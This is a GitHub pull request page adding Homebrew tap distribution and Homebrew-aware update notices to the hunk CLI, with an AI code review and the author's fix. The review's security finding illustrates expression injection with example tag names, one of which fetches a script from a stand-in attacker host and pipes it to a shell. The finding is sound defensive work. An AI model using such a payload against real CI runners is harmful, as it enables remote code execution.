Skip to content

feat: add Homebrew tap distribution#273

Merged
benvinegar merged 3 commits into
mainfrom
feat/homebrew-tap-distribution
May 10, 2026
Merged

feat: add Homebrew tap distribution#273
benvinegar merged 3 commits into
mainfrom
feat/homebrew-tap-distribution

Conversation

@benvinegar
Copy link
Copy Markdown
Member

Summary

  • add a Homebrew formula generator for the modem-dev/homebrew-tap release flow
  • update stable release automation to push formula updates to the tap
  • make startup update notices show brew update && brew upgrade hunk for Homebrew installs
  • document brew install modem-dev/tap/hunk

Closes #219

Testing

  • bun test src/core/updateNotice.test.ts scripts/update-homebrew-formula.test.ts
  • bun run typecheck
  • bun run lint
  • bun run format:check
  • Docker smoke: brew install modem-dev/tap/hunk && hunk --version && brew test modem-dev/tap/hunk

This PR description was generated by Pi using OpenAI GPT-5 Codex

@greptile-apps
Copy link
Copy Markdown
Contributor

greptile-apps Bot commented May 10, 2026

Greptile Summary

This PR adds end-to-end Homebrew tap distribution for hunk: a formula generator script (scripts/update-homebrew-formula.ts), a CI step that commits the formula to modem-dev/homebrew-tap on each stable release, and update-notice logic that shows brew update && brew upgrade hunk (and suppresses beta channels) for Homebrew-installed binaries.

  • scripts/update-homebrew-formula.ts: new script that computes SHA-256 checksums from the downloaded release tarballs and emits a Ruby formula with write_env_script setting HUNK_INSTALL_SOURCE=homebrew.
  • src/core/updateNotice.ts: reads HUNK_INSTALL_SOURCE from the environment to route the upgrade command and skip beta update notices for Homebrew installs.
  • .github/workflows/release-prebuilt-npm.yml: adds Homebrew tap checkout, formula update, and commit/push steps gated behind the existing stable-release tag filter, but the new shell commands interpolate ${{ github.ref_name }} directly rather than via an env-var intermediary (unlike the existing step in the same job).

Confidence Score: 3/5

Safe to merge once the workflow run blocks are fixed to use an env-var for the tag name instead of interpolating it directly.

The formula generator, update-notice logic, and tests are all solid. The one concern is in the CI workflow: the new Homebrew steps interpolate ${{ github.ref_name }} directly into shell commands, which can execute arbitrary code if a tag is crafted with shell metacharacters. The existing step in the same job already uses the safe pattern (TAG_NAME env var), so the fix is small and mechanical, but it needs to happen before this lands in a production release flow.

.github/workflows/release-prebuilt-npm.yml — specifically the "Update Homebrew formula" and "Commit Homebrew formula update" steps.

Security Review

  • Expression injection in .github/workflows/release-prebuilt-npm.yml (lines 229–244): ${{ github.ref_name }} is interpolated directly into shell run blocks. A specially crafted tag name (e.g. containing backticks or $()) would execute arbitrary shell commands in the runner. The existing step in the same job already avoids this by binding TAG_NAME: ${{ github.ref_name }} as an env-var and referencing $TAG_NAME in the shell; the new Homebrew steps should follow the same pattern.

Important Files Changed

Filename Overview
.github/workflows/release-prebuilt-npm.yml Adds Bun setup and three Homebrew-tap steps to the create-github-release job. New steps use ${{ github.ref_name }} directly in shell commands, unlike the existing step in the same job which uses a safe env-var intermediary.
scripts/update-homebrew-formula.ts New script generating a Homebrew Ruby formula from local release assets. Validates tag format, computes SHA-256 checksums, and emits the formula using write_env_script to inject HUNK_INSTALL_SOURCE=homebrew into the installed binary's environment.
scripts/update-homebrew-formula.test.ts Integration test for the formula generator; spawns the script in a temp directory, verifies exit code 0, and asserts key formula strings including the env-script wrapper.
src/core/updateNotice.ts Adds InstallSource type and resolveInstallSource dep; gates beta-update suggestions to npm installs and routes the upgrade command to brew update && brew upgrade hunk for Homebrew installs.
src/core/updateNotice.test.ts Adds three new test cases covering Homebrew upgrade command, suppression of beta notices for Homebrew installs, and env-var-based install-source detection.
package.json Adds update:homebrew-formula npm script pointing to the new generator.
README.md Documents brew install modem-dev/tap/hunk as an alternative install path.
CHANGELOG.md Adds an unreleased changelog entry for the Homebrew tap and update-notice improvements.

Sequence Diagram

sequenceDiagram
    participant GH as GitHub Actions (push vX.Y.Z)
    participant WF as release-prebuilt-npm.yml
    participant Script as update-homebrew-formula.ts
    participant Tap as modem-dev/homebrew-tap
    participant User as hunk binary (Homebrew)
    participant NPM as registry.npmjs.org

    GH->>WF: tag push (stable)
    WF->>WF: archive release assets (.tar.gz)
    WF->>WF: create GitHub release
    WF->>Tap: checkout homebrew-tap (PAT)
    WF->>Script: bun run update:homebrew-formula --tag vX.Y.Z
    Script->>Script: compute SHA-256 per platform asset
    Script->>Tap: write Formula/hunk.rb
    WF->>Tap: git commit + push Formula/hunk.rb

    User->>NPM: fetch dist-tags on startup
    NPM-->>User: "{ latest, beta }"
    User->>User: resolveInstallSource() → homebrew
    User->>User: "skip beta, show brew update && brew upgrade hunk"
Loading
Prompt To Fix All With AI
Fix the following 1 code review issue. Work through them one at a time, proposing concise fixes.

---

### Issue 1 of 1
.github/workflows/release-prebuilt-npm.yml:228-244
**Expression injection in shell `run` blocks**

`${{ github.ref_name }}` is substituted into the shell script at YAML-evaluation time before the shell runs, so a tag name like `` v1.0.0`curl http://evil.com|sh` `` or `v1.0.0$(cmd)` would execute arbitrary code. The commit-message line (244) is especially easy to exploit because the only quoting is the outer `"…"`.

The existing "Create or update GitHub release" step in this same job already uses the correct mitigation — it sets `TAG_NAME: ${{ github.ref_name }}` as an `env:` key and references `$TAG_NAME` in the shell. The new Homebrew steps break that pattern.

Reviews (1): Last reviewed commit: "feat: add Homebrew tap distribution" | Re-trigger Greptile

Comment on lines +228 to +244
run: |
bun run update:homebrew-formula -- \
--tag "${{ github.ref_name }}" \
--asset-root dist/release/github \
--output-root dist/release/homebrew-tap

- name: Commit Homebrew formula update
if: ${{ !contains(github.ref_name, '-alpha') && !contains(github.ref_name, '-beta') && !contains(github.ref_name, '-rc') }}
working-directory: dist/release/homebrew-tap
run: |
git config user.name "github-actions[bot]"
git config user.email "41898282+github-actions[bot]@users.noreply.github.com"
git add Formula/hunk.rb
if git diff --cached --quiet; then
echo "Homebrew formula already up to date."
else
git commit -m "hunk ${{ github.ref_name }}"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P1 security Expression injection in shell run blocks

${{ github.ref_name }} is substituted into the shell script at YAML-evaluation time before the shell runs, so a tag name like v1.0.0`curl http://evil.com|sh` or v1.0.0$(cmd) would execute arbitrary code. The commit-message line (244) is especially easy to exploit because the only quoting is the outer "…".

The existing "Create or update GitHub release" step in this same job already uses the correct mitigation — it sets TAG_NAME: ${{ github.ref_name }} as an env: key and references $TAG_NAME in the shell. The new Homebrew steps break that pattern.

Prompt To Fix With AI
This is a comment left during a code review.
Path: .github/workflows/release-prebuilt-npm.yml
Line: 228-244

Comment:
**Expression injection in shell `run` blocks**

`${{ github.ref_name }}` is substituted into the shell script at YAML-evaluation time before the shell runs, so a tag name like `` v1.0.0`curl http://evil.com|sh` `` or `v1.0.0$(cmd)` would execute arbitrary code. The commit-message line (244) is especially easy to exploit because the only quoting is the outer `"…"`.

The existing "Create or update GitHub release" step in this same job already uses the correct mitigation — it sets `TAG_NAME: ${{ github.ref_name }}` as an `env:` key and references `$TAG_NAME` in the shell. The new Homebrew steps break that pattern.

How can I resolve this? If you propose a fix, please make it concise.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Fixed by moving the tag interpolation into step-level TAG_NAME env vars and referencing $TAG_NAME from the shell blocks, matching the existing release step pattern.

Responded by Pi using OpenAI GPT-5 Codex.

@AntonVishal
Copy link
Copy Markdown

Thanks for the PR @benvinegar

@benvinegar benvinegar merged commit fd409df into main May 10, 2026
5 checks passed
@benvinegar benvinegar deleted the feat/homebrew-tap-distribution branch May 10, 2026 18:00
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Be able to install hunk via homebrew.

2 participants